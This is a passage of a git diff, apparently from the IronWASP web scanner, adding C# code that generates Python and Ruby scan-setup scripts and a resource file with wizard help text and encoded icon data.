Cookie parameters for injection"); + Rb.AppendLine("#Select the specified Cookie parameters for injection"); + foreach (string Parameter in ScanInjectionPoints["Cookie"]) + { + Py.AppendLine(string.Format(@"s.InjectCookie(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"s.inject_cookie(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + } + if (ScanInjectionPoints.ContainsKey("Headers")) + { + if (ScanInjectionPoints["Query"].Length == 0) + { + Py.AppendLine("#Select all Header parameters for injection"); + Py.AppendLine("s.InjectHeaders()"); + + Rb.AppendLine("#Select all Header parameters for injection"); + Rb.AppendLine("s.inject_headers"); + } + else + { + Py.AppendLine("#Select the specified Header parameters for injection"); + Rb.AppendLine("#Select the specified Header parameters for injection"); + + foreach (string Parameter in ScanInjectionPoints["Headers"]) + { + Py.AppendLine(string.Format(@"s.InjectHeaders(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"s.inject_headers(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + } + + if (SessionPluginName.Length > 0) + { + Py.AppendLine("#Use a Session Plugin during Scaning"); + Py.AppendLine(string.Format(@"s.SessionHandler = SessionPlugin.Get(""{0}"")", SessionPluginName)); + + Rb.AppendLine("#Use a Session Plugin during Scaning"); + Rb.AppendLine(string.Format(@"s.session_handler = SessionPlugin.get(""{0}"")", SessionPluginName)); + } + + if (ScanAllPluginsCB.Checked) + { + Py.AppendLine("#Enable all vulerability checks"); + Py.AppendLine("s.CheckAll()"); + + Rb.AppendLine("#Enable all vulerability checks"); + Rb.AppendLine("s.check_all"); + } + else + { + Py.AppendLine("#Add vulnerability checks by name. ActivePlugin.List() will give a list of all names"); + Rb.AppendLine("#Add vulnerability checks by name. ActivePlugin.list will give a list of all names"); + + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Py.AppendLine(string.Format(@"s.AddCheck(""{0}"")", Row.Cells[1].Value.ToString())); + + Rb.AppendLine(string.Format(@"s.add_check(""{0}"")", Row.Cells[1].Value.ToString())); + } + } + } + + + Py.AppendLine("#Start the Scan"); + Py.AppendLine("scan_id = s.LaunchScan()"); + Py.AppendLine(@"print ""Scan started, Scan ID is "" + str(scan_id)"); + Py.AppendLine(); + + Rb.AppendLine("#Start the Scan"); + Rb.AppendLine("scan_id = s.launch_scan"); + Rb.AppendLine(@"puts ""Scan started, Scan ID is "" + scan_id.to_s"); + Rb.AppendLine(); + + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void CopyScriptLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ShowCodeError(""); + try + { + if(CodeTabs.SelectedIndex == 0) + { + if (FullPyCode.Length > 0) + { + Clipboard.SetText(FullPyCode); + } + } + else + { + if (FullRbCode.Length > 0) + { + Clipboard.SetText(FullRbCode); + } + } + } + catch(Exception Exp) + { + ShowCodeError("There was some error copying code, try again."); + IronException.Report("Unable to copy code from Script Creation Assistant", Exp); + } + } + + private void CodeTabs_SelectedIndexChanged(object sender, EventArgs e) + { + if (CodeTabs.SelectedIndex == 0) + { + CopyScriptLL.Text = "Copy Python Script to Clipboard"; + } + else + { + CopyScriptLL.Text = "Copy Ruby Script to Clipboard"; + } + } + } +} + diff --git a/Iron/ScriptCreationAssistant.resx b/Iron/ScriptCreationAssistant.resx new file mode 100644 index 0000000..1c669a7 --- /dev/null +++ b/Iron/ScriptCreationAssistant.resx @@ -0,0 +1,2128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + You can read or modify any of the properties in the Request. Select the property type and actions you want to perform below and the equivalent code will be generated. The selected property section in the Request will be highlighed in the Request shown above. + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + You can read or modify any of the properties in the Request. Select the property type and actions you want to perform below and the equivalent code will be generated. The selected property section in the Request will be highlighed in the Request shown above. + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + When you send a request and get a response, the HTML in the response might have one or more forms in it. If you wish to issue requests which are equivalent to submitting those forms in the browser then select this option. + + + When you send a request and get a response, the HTML in the response might have multiple links. If you wish to issue requests which are equivalent to clicking on those links in the browser then select this option. + + + If you are trying to send multiple requests in series, follow links from one response and create more requests etc then this section will help you. Select the action you wish to perform from below and the equivalent code will be generated. + + + +You can create a powerful Fuzzer with only a few lines of code. You can enter the details of your fuzzing need here and the code for achieving it will be created for you. + + +When creating a fuzzer you must specify which parts of the request be fuzzed, if the request body is JSON, XML or some other custom format then it must be handled accordingly. +To make this process easy IronWASP gives you an option to display an UI and lets you select the fuzz points in the UI and then perform the actual fuzzing in the script. + +You can either make use of this feature or for full automation set the fuzz points directly in the code itself. + +Select an option from below and click 'Next Step' + + + True + + + True + + + True + + + True + + + +Select which parts of the Request must be fuzzed. The payloads will only be injected in the selected sections. +Once you define a fuzz point click on 'Add Fuzz Point' and you will be able to define more points. After defining all fuzz points click on 'Next Step' + + + True + + + True + + + +If you want to handle CSRF tokens, authentication and other custom site behaviours during fuzzing then you can use a Session Plugin. + +To use a Session Plugin during the Fuzzing process select one from the list on the right. + +To create a Session Plugin use the 'Session Plugin Creation Assistant', it is a GUI based wizard will take the details from you and create the Session Plugin automatically. +It can be lauched from under the 'Dev Tools' menu. + + + + True + + + True + + + True + + + True + + + +Select which parts of the Request must be scanned. +Once you define a scan point click on 'Add Scan Point' and you will be able to define more points. After defining all scan points click on 'Next Step' + + + True + + + True + + + True + + + True + + + +If you want to handle CSRF tokens, authentication and other custom site behaviours during fuzzing then you can use a Session Plugin. + +To use a Session Plugin during the Fuzzing process select one from the list on the right. + +To create a Session Plugin use the 'Session Plugin Creation Assistant', it is a GUI based wizard will take the details from you and create the Session Plugin automatically. +It can be lauched from under the 'Dev Tools' menu. + + + + True + + + True + + + True + + + You can read or modify any of the properties in the Request. Select the property type and actions you want to perform below and the equivalent code will be generated. The selected property section in the Request will be highlighed in the Request shown above. + + + 17, 17 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 